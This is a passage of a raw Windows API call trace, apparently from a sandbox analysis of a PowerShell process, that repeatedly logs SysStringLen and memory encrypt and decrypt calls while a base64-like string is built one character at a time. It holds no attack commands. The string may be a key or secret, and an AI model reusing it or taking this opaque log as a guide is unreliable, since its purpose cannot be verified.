Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\xac89\x6938\xfe44\x416f\x1279\xc634\x565\xe89f") returned 0x20 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\xac89\x6938\xfe44\x416f\x1279\xc634\x565\xe89f") returned 0x20 [0126.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2b秅瘷䎾㦳직迶") returned 0x20 [0126.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x32d6\xe3da\xf4e\x4d7b\xd6e3\xd54f\x5717\x9bbb") returned 0x20 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x32d6\xe3da\xf4e\x4d7b\xd6e3\xd54f\x5717\x9bbb") returned 0x20 [0126.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bW瘷䎾㦳직迶") returned 0x20 [0126.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\xe7de\x2711\x55ce\x16f9\xb150\x6971\x111e\xd43b") returned 0x20 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\xe7de\x2711\x55ce\x16f9\xb150\x6971\x111e\xd43b") returned 0x20 [0126.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWh䎾㦳직迶") returned 0x20 [0126.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x1714\x6d89\xea1a\x2b4b\xce8d\x5c60\xba14\xcd4e") returned 0x20 [0126.213] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x1714\x6d89\xea1a\x2b4b\xce8d\x5c60\xba14\xcd4e") returned 0x20 [0126.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhj㦳직迶") returned 0x20 [0126.214] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x5ff2\x8be9\xfd7e\xc8d5\xff22\x3293\x7148\x8f1c") returned 0x20 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x5ff2\x8be9\xfd7e\xc8d5\xff22\x3293\x7148\x8f1c") returned 0x20 [0126.214] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjm직迶") returned 0x20 [0126.214] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x8cbc\x9e87\x6add\x855e\x6abe\xd163\x7780\x207f") returned 0x20 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x8cbc\x9e87\x6add\x855e\x6abe\xd163\x7780\x207f") returned 0x20 [0126.214] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmV迶") returned 0x20 [0126.214] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x24f3\x811e\x9951\xc1d6\x5820\xca6e\xd3fb\xbbec") returned 0x20 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x24f3\x811e\x9951\xc1d6\x5820\xca6e\xd3fb\xbbec") returned 0x20 [0126.214] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVH") returned 0x20 [0126.214] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a") returned 0x20 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a") returned 0x20 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a") returned 0x20 [0126.214] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a") returned 0x28 [0126.214] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.215] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHw藹ᚡ긲䁯囵¦ꌈ") returned 0x28 [0126.215] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.215] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xde7d\x61d8\xa06b\x4c4d\x11fd\xb709\x5d1b\x564d") returned 0x28 [0126.215] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xde7d\x61d8\xa06b\x4c4d\x11fd\xb709\x5d1b\x564d") returned 0x28 [0126.215] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.215] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCᚡ긲䁯囵¦ꌈ") returned 0x28 [0126.215] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.215] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xfeb7\xb9ab\x544d\xbd18\xc261\xbcd9\x7050\x6d58") returned 0x28 [0126.217] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xfeb7\xb9ab\x544d\xbd18\xc261\xbcd9\x7050\x6d58") returned 0x28 [0126.217] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.217] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi긲䁯囵¦ꌈ") returned 0x28 [0126.217] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.217] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\x1455\xc47d\xa5bd\x4089\xbc45\x8f8f\xdadb\x5e58") returned 0x28 [0126.217] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\x1455\xc47d\xa5bd\x4089\xbc45\x8f8f\xdadb\x5e58") returned 0x28 [0126.217] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.217] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6䁯囵¦ꌈ") returned 0x28 [0126.217] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.217] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xe3b1\xa458\xad48\x4a7d\xed59\x4f1d\x633a\x8c6a") returned 0x28 [0126.217] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xe3b1\xa458\xad48\x4a7d\xed59\x4f1d\x633a\x8c6a") returned 0x28 [0126.217] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6X囵¦ꌈ") returned 0x28 [0126.218] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xa236\x92f0\x55dd\x6418\x63e3\xce48\x8a40\x7c82") returned 0x28 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xa236\x92f0\x55dd\x6418\x63e3\xce48\x8a40\x7c82") returned 0x28 [0126.218] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6Xp¦ꌈ") returned 0x28 [0126.218] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\x7f04\xded0\xc30f\x39e3\xdda7\xd4c4\xa505\x6195") returned 0x28 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\x7f04\xded0\xc30f\x39e3\xdda7\xd4c4\xa505\x6195") returned 0x28 [0126.218] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6Xpeꌈ") returned 0x28 [0126.218] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\x3846\x9805\xca4d\xf1b5\x799f\x16aa\x27cb\xd74b") returned 0x28 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\x3846\x9805\xca4d\xf1b5\x799f\x16aa\x27cb\xd74b") returned 0x28 [0126.218] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6Xpek") returned 0x28 [0126.218] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e") returned 0x28 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e") returned 0x28 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e") returned 0x28 [0126.218] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x4b\x4e\x2d\x33\x51\x78\x59\x65") returned 0x30 [0126.219] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6XpekDᨢ爾뗮䖭湎밺쫙") returned 0x30 [0126.219] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x87b9\x8955\xfa87\x83f4\x6ef5\x8987\xa9e9\x1ef9") returned 0x30 [0126.219] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x87b9\x8955\xfa87\x83f4\x6ef5\x8987\xa9e9\x1ef9") returned 0x30 [0126.219] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6XpekDQ爾뗮䖭湎밺쫙") returned 0x30 [0126.219] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x90cf\x6a3e\xdef5\x52a6\xb709\xe2e5\xf71a\x1d28") returned 0x30 [0126.219] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x90cf\x6a3e\xdef5\x52a6\xb709\xe2e5\xf71a\x1d28") returned 0x30 [0126.219] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6XpekDQM뗮䖭湎밺쫙") returned 0x30 [0126.219] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x3ec6\x2994\xe1f6\xa750\x89b2\xf007\xaed\xc4") returned 0x30 [0126.219] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x3ec6\x2994\xe1f6\xa750\x89b2\xf007\xaed\xc4") returned 0x30 [0126.219] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.219] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2bWhjmVHwCi6XpekDQM=䖭湎밺쫙") returned 0x30 [0126.219] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0126.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0126.220] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.220] SysStringLen (param_1="") returned 0x8 [0126.220] SysStringLen (param_1="Y") returned 0x8 [0126.220] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.220] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.220] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.220] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="YW") returned 0x8 [0126.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen 